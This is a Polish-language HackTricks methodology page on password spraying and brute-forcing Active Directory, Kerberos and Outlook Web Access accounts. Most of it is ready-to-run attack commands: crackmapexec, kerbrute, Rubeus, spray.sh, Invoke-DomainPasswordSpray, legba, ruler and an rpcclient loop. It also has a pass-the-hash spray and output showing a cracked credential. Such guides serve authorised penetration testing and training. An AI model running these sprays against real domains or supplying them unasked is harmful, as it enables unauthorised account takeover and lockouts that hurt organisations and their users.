hacktricks/windows-hardening/active-directory-methodology/password-spraying.md
2024-02-11 01:46:25 +00:00

8.2 KiB

Password Spraying / Brute Force

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Password Spraying

Gdy już znalazłeś kilka poprawnych nazw użytkowników, możesz spróbować najbardziej popularnych haseł (pamiętaj o polityce haseł w danym środowisku) dla każdego z odkrytych użytkowników.
Domyślnie minimalna długość hasła wynosi 7.

Listy popularnych nazw użytkowników mogą również być przydatne: https://github.com/insidetrust/statistically-likely-usernames

Zauważ, że możesz zablokować niektóre konta, jeśli spróbujesz kilka razy nieprawidłowych haseł (domyślnie więcej niż 10).

Pobierz politykę haseł

Jeśli masz jakieś dane uwierzytelniające użytkownika lub dostęp do powłoki jako użytkownik domeny, możesz pobrać politykę haseł za pomocą:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Wykorzystanie z systemu Linux (lub dowolnego innego)

  • Za pomocą crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (możesz podać liczbę prób, aby uniknąć blokady):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Korzystając z kerbrute (python) - NIE ZALECANE, CZASAMI NIE DZIAŁA
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Za pomocą modułu scanner/smb/smb_login w Metasploit:

  • Korzystając z rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Z systemu Windows

  • Za pomocą wersji Rubeus z modułem brute:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Za pomocą Invoke-DomainPasswordSpray (Domyślnie może generować użytkowników z domeny i pobierać politykę hasła z domeny, ograniczając próby zgodnie z nią):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Atak Brute Force

{% code overflow="wrap" %}

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

{% endcode %}

Outlook Web Access

Istnieje wiele narzędzi do sprayingu hasła w Outlooku.

Aby skorzystać z któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz hasła / małej listy haseł do sprayingu.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

References

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: